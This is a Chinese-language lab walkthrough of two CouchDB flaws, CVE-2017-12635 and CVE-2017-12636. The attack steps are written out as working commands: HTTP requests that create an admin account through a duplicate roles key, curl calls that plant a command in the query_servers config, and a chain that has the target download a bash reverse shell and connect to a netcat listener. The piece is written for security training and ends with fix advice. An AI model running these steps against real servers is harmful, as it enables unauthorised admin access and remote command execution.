内容简介:(CVE-2017-12635)是由于Erlang和JavaScript对JSON解析方式的不同,在语句执行时产生差异性导致的。该漏洞可使非管理员用户赋予自身管理员身份权限。(CVE-2017-12636)是由于数据库自身设计原因,管理员身份可以通过HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。两个漏洞结合使用,安全研究人员可以使非管理员用户以数据库系统用户的身份访问服务器,实现远程代码执行。
漏洞介绍
漏洞概述
(CVE-2017-12635)是由于Erlang和JavaScript对JSON解析方式的不同,在语句执行时产生差异性导致的。该漏洞可使非管理员用户赋予自身管理员身份权限。
(CVE-2017-12636)是由于数据库自身设计原因,管理员身份可以通过HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。
两个漏洞结合使用,安全研究人员可以使非管理员用户以数据库系统用户的身份访问服务器,实现远程代码执行。
漏洞原理介绍
CVE-2017-12635原理分析
CVE-2017-12635问题在于Erlang和JavaScript对JSON中重复的键处理方式具有差异性,
例如 {"foo":"bar", "foo":"baz"}
Erlang处理方式如下:
jiffy:decode("{\"foo\":\"bar\", \"foo\":\"baz\"}").
最终获取的结果为: {[{<<"foo">>,<<"bar">>},{<<"foo">>,<<"baz">>}]}
而 JavaScript” 的处理方式:
JSON.parse("{\"foo\":\"bar\", \"foo\": \"baz\"}")
获得的结果为: {foo: "baz"}
对于给定的键,Eralang解析器将存储两个值,而JavaScript只存储第二个值。但是在jiffy实现的时候,getter函数只返回第一个值
% Within couch_util:get_value lists:keysearch(Key, 1, List).
除了输入验证脚本之外,几乎所有关于身份验证和授权的重要逻辑都发生在CouchDB的Erlang部分,所以在原本的数据包中身份验证后再加上 "roles": [],
所发包内容变成如下所示时,就可以使当前用户赋予“_admin”身份。
{ "type": "user", "name": "vulhub", "roles": ["_admin"], "roles": [], "password": "vulhub" }
CVE-2017-12636原理分析
CVE-2017-12636漏洞在于CouchDB自身的设计问题,CouchDB允许用户指定一个二进制程序或者脚本,与CouchDB进行数据交互和处理。
query_server
在配置文件local.ini中的格式:
[query_servers] LANGUAGE = PATH ARGS
默认情况下,配置文件中已经设置了两个query_servers:
[query_servers] javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js
CouchDB在 query_server
中引入了外部的二进制程序来执行命令,如果可以更改这个配置,那么就可以利用数据库来执行命令,而CouchDB允许通过自身提供的 Restful API
接口动态修改保存配置属性,结合以上两点,就可以通过修改其 query_server
配置,来执行系统命令。
实验内容
当开始验证漏洞存在的操作时,首先需要绕过创建CouchDB管理员的限制,当管理员成功创建后,在实验中使用POC验证命令执行漏洞,最后我们使用EXP来进行 shell 反弹的操作。 根据以下详细的实验操作步骤,一起开始实操实练之路。
第1步 访问Couchdb
打开kali终端,输入 firefox http://172.16.12.2:5984/_utils/
,访问目标页面。Couchdb需要登录才能使用,但是此时没有密码所以无法登录。
终端中输入 wget http://file.ichunqiu.com/kk663r7h/Tools.zip
下载实验文件,使用命令 unzip tools
将实验文件解压至当前目录下。 cd
到 tools
目录中,使用 cat
命令可以查看对应文本内容。
实验文件中含有本次实验所用的数据包、Poc和EXP
第2步 创建管理员
-
发包测试权限
在kali终端中输入 burpsuite
,打开Burpsuite工具,成功进入 工具 主界面后,点击Repeter模块,界面大致如下:
首先,我们尝试发送创建管理员的数据包 : 在Request框内填写实验文件data.txt中的内容(Host后面 172.16.12.2:5984
为目标机的地址, name
和 password
后填写新增账号的用户名和密码)
CouchDB 通过特殊的数据库 _users
管理用户. 一般通过发送请求( PUT to /_users/org.couchdb.user:your_username
)的方式管理或者新增用户
数据包内容如下:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: 172.16.12.2:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 90 { "type": "user", "name": "vulhub", "roles": ["_admin"], "password": "vulhub" }
点击 Go
,在出现的弹窗中填写对应的目标机Host:172.16.12.2,以及Port:5984,ok确认后,重新点击按键 Go
,观察右侧Response返回的信息。
可见,返回403错误: {"error":"forbidden","reason":"Only _admin may set roles"}
,只有管理员才能设置Role角色:
2.绕过限制创建管理员
创建用户需要管理员权限,我们利用漏洞原理中介绍的方法,发送包含两个roles的数据包,来赋予用户 _admin
的权限。
在原有的数据包中我们添加一行 "roles": [],
数据包内容如下:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: 172.16.12.2:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 108 { "type": "user", "name": "vulhub", "roles": ["_admin"], "roles": [], "password": "vulhub" }
重复上述操作,再次发送数据包,观察右侧返回内容
成功创建管理员,账户密码均为 vulhub
现在在浏览器中访问 http://172.16.12.2:5984/_utils/
,输入账户密码 vulhub
,即可成功登录。
第三步 POC执行命令
已经拥有管理员权限了,接下来,我们去验证命令执行。打开终端,在命令行中依次执行实验文件Poc.txt中的语句,触发任意命令执行:
vulhub:vulhub
为管理员账号密码
/_membership
curl http://vulhub:[email protected]:5984/_membership
这里只有一个node,名字是 [email protected]
2.修改 [email protected]
的配置
curl -X PUT http://vulhub:[email protected]:5984/_node/[email protected]/_config/query_servers/cmd -d '"id >/tmp/success"'
添加一个名字为 cmd
的 query_servers
,值 id > /tmp/success
即本次执行的命令,将 id
命令执行的结果出入 /tmp/success
文件中
1.添加一个数据库: vultest
和一个Document: vul
curl -X PUT 'http://vulhub:[email protected]:5984/vultest'
curl -X PUT 'http://vulhub:[email protected]:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
-
在数据库里进行查询,将language设置为
cmd
,处理数据时调用名为cmd
的query_servers
,最后完成命令执行
curl -X PUT http://vulhub:[email protected]:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
命令执行成功后,会将 id
命令返回的内容写入目标机器 /tmp/success
文件中(此处暂时看不见结果,只作了解,后面步骤会做验证)
第四步 执行EXP反弹Shell
根据上述发送的请求,可使用 python 编写EXP(实验文件exp.py)简化操作,修改EXP中的 target
(目标机器地址)和 command
(执行的命令),运行脚本即可执行对应的命令。
现在我们需要反弹一个可交互的Shell回操作机,本实验的思路是,在操作机中准备好反弹脚本并开启HTTP服务,然后利用EXP让目标服务器下载反弹脚本,接着,在操作机使用NC监听本地端口,最后利用EXP在目标服务器中执行反弹脚本,将Shell反弹至操作机监听的端口上,完成反弹Shell操作。
反弹Shell的命令,在经过数据库处理时不能直接执行,遂此处分为两步去实现(还有其他方法,仁者见仁)
-
准备反弹脚本
cd
至 /home/目录下,使用Vim编辑器新建一个index.html文件,写入最终执行的命令,内容如下:
bash -i >& /dev/tcp/172.16.11.2/9000 0>&1
这条命令意思为创建一个可交互的bash和一个到172.16.11.2:9000的TCP链接,然后将bash的输入输出错误都重定向到在172.16.11.2:9000监听的进程中。
2.另起一个终端,在/home/目录下执行 python -m SimpleHTTPServer 8000
,开启HTTP服务
3.修改 exp.py
中的 command
的值为 curl 172.16.11.2:8000 -o /tmp/bashell
,保存并执行命令 python exp.py
这个时候可以看见HTTP服务成功监听到下载请求
4.重新打开一个终端,或者 Ctrl
+ c
关闭HTTPServer,执行 nc -lnvp 9000
,监听本地9000端口
5.修改 exp.py
中的 command
的值为 bash /tmp/bashell
,保存并执行命令 python exp.py
,成功获取反弹回来的Shell
6.在反弹回来的Shell中cd 到目录/tmp/下,可以看见运行Poc和Exp时存储的文件
漏洞修复建议:
1、指定CouchDB绑定的IP (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。注:修改后只有本机才能访问CouchDB。
2、设置访问密码 (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- ghostscript沙箱绕过远程命令执行漏洞预警
- CVE-2019-6116: ghostscript沙箱绕过命令执行漏洞预警
- 浅谈WAF绕过技巧
- 文件上传限制绕过
- 文件上传限制绕过技巧
- 如何绕过AMSI
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。